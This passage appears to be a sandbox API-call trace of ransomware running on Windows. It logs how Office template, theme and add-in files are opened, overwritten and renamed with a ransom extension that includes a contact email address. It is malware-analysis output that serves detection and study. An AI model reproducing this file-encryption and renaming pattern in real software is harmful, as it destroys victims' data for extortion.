lpNumberOfBytesWritten=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.175] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.175] WriteFile (in: hFile=0x4e0, lpBuffer=0x733ec37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733ec37*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.175] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.175] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.175] CloseHandle (hObject=0x4e0) returned 1 [0187.175] GetProcessHeap () returned 0x630000 [0187.175] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7333838 | out: hHeap=0x630000) returned 1 [0187.175] GetProcessHeap () returned 0x630000 [0187.175] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x729af40 | out: hHeap=0x630000) returned 1 [0187.175] GetProcessHeap () returned 0x630000 [0187.175] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0187.175] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.176] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\2074\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x35836463, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112e4, dwReserved0=0xc3c7496, dwReserved1=0x729af38, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4ec0 [0187.176] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0187.176] Sleep (dwMilliseconds=0x1) [0189.124] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx", len=0x52 | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx") returned 1 [0189.124] GetProcessHeap () returned 0x630000 [0189.124] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2994) returned 0x707d3d0 [0189.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0189.125] CloseHandle (hObject=0x5ec) returned 1 [0189.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0189.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0189.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f51, dwReserved0=0x690066, dwReserved1=0x650072, cFileName="basicelegant.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BASICE~1.FIR")) returned 0x6d4f40 [0189.127] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0189.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\basicelegant.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0189.127] GetProcessHeap () returned 0x630000 [0189.127] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f61) returned 0x6ef738 [0189.128] GetProcessHeap () returned 0x630000 [0189.128] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f61) returned 0x71e38d0 [0189.128] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.128] ReadFile (in: hFile=0x5ec, lpBuffer=0x6ef738, nNumberOfBytesToRead=0x2f40, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ef738*, lpNumberOfBytesRead=0x313ff0c*=0x2f40, lpOverlapped=0x0) returned 1 [0191.462] GetProcessHeap () returned 0x630000 [0191.462] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176368 [0191.462] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.462] WriteFile (in: hFile=0x5ec, lpBuffer=0x71e38d0*, nNumberOfBytesToWrite=0x2f40, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e38d0*, lpNumberOfBytesWritten=0x313ff0c*=0x2f40, lpOverlapped=0x0) returned 1 [0191.463] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.463] WriteFile (in: hFile=0x5ec, lpBuffer=0x71e680f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71e680f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.463] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.463] WriteFile (in: hFile=0x5ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.463] CloseHandle (hObject=0x5ec) returned 1 [0191.463] GetProcessHeap () returned 0x630000 [0191.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71e38d0 | out: hHeap=0x630000) returned 1 [0191.464] GetProcessHeap () returned 0x630000 [0191.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ef738 | out: hHeap=0x630000) returned 1 [0191.464] GetProcessHeap () returned 0x630000 [0191.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176368 | out: hHeap=0x630000) returned 1 [0191.464] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.464] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\basicelegant.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3812986e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f75, dwReserved0=0xc3c7496, dwReserved1=0x6ef730, cFileName="basicelegant.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BASICE~1.FIR")) returned 0x6d5240 [0191.464] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0191.464] Sleep (dwMilliseconds=0x1) [0192.743] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", len=0x4a | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx") returned 1 [0192.743] GetProcessHeap () returned 0x630000 [0192.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47f0) returned 0x7133a90 [0192.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0193.573] CloseHandle (hObject=0x678) returned 1 [0193.573] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.058] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbafe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="EssentialReport.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ESSENT~2.FIR")) returned 0x6d5240 [0197.058] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0197.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0197.771] GetProcessHeap () returned 0x630000 [0197.771] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f32b60 [0197.776] GetProcessHeap () returned 0x630000 [0197.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3df90 [0197.784] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.784] ReadFile (in: hFile=0x678, lpBuffer=0x6f32b60, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f32b60*, lpNumberOfBytesRead=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0205.999] GetProcessHeap () returned 0x630000 [0205.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0205.999] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.999] WriteFile (in: hFile=0x678, lpBuffer=0x6f3df90*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3df90*, lpNumberOfBytesWritten=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0206.000] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.000] WriteFile (in: hFile=0x678, lpBuffer=0x6f4938f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4938f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.001] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.001] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.002] CloseHandle (hObject=0x678) returned 1 [0206.002] GetProcessHeap () returned 0x630000 [0206.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3df90 | out: hHeap=0x630000) returned 1 [0206.002] GetProcessHeap () returned 0x630000 [0206.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f32b60 | out: hHeap=0x630000) returned 1 [0206.002] GetProcessHeap () returned 0x630000 [0206.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0206.002] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40bc15a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xbb00d, dwReserved0=0xc3c7496, dwReserved1=0x6f32b58, cFileName="EssentialReport.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ESSENT~2.FIR")) returned 0x6d4f00 [0206.002] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0206.002] Sleep (dwMilliseconds=0x1) [0206.032] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.INF", len=0x6c | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.INF") returned 1 [0206.041] GetProcessHeap () returned 0x630000 [0206.041] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4c70) returned 0x6fe4288 [0206.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0206.043] CloseHandle (hObject=0x678) returned 1 [0206.044] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0206.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\breeze.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\breeze.inf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0206.045] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.045] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x69006b02, dwReserved1=0x74006e, cFileName="BREEZE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BREEZE~1.FIR")) returned 0x6d4f00 [0206.045] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0206.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.INF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\breeze\\breeze.inf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0206.045] GetProcessHeap () returned 0x630000 [0206.045] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dcb50 [0206.045] GetProcessHeap () returned 0x630000 [0206.045] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dd138 [0206.045] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.045] ReadFile (in: hFile=0x678, lpBuffer=0x6dcb50, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dcb50*, lpNumberOfBytesRead=0x313ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0206.048] GetProcessHeap () returned 0x630000 [0206.048] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0206.048] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.048] WriteFile (in: hFile=0x678, lpBuffer=0x6dd138*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dd138*, lpNumberOfBytesWritten=0x313ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0206.048] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.048] WriteFile (in: hFile=0x678, lpBuffer=0x6dd2f7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dd2f7*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.049] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.049] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.049] CloseHandle (hObject=0x678) returned 1 [0206.049] GetProcessHeap () returned 0x630000 [0206.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dd138 | out: hHeap=0x630000) returned 1 [0206.049] GetProcessHeap () returned 0x630000 [0206.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dcb50 | out: hHeap=0x630000) returned 1 [0206.049] GetProcessHeap () returned 0x630000 [0206.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0206.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\BREEZE.INF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x40c3394d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x313fd20, dwReserved1=0x6dcb50, cFileName="BREEZE.INF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BREEZE~1.FIR")) returned 0x6d5000 [0206.049] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0206.049] Sleep (dwMilliseconds=0x1) [0208.082] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\THMBNAIL.PNG", len=0x6f | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\THMBNAIL.PNG") returned 1 [0208.082] GetProcessHeap () returned 0x630000 [0208.082] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4cb4) returned 0x6fe4288 [0208.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0208.085] CloseHandle (hObject=0x6c8) returned 1 [0208.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0208.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0208.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.088] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x18008c94, dwReserved1=0x63005b, 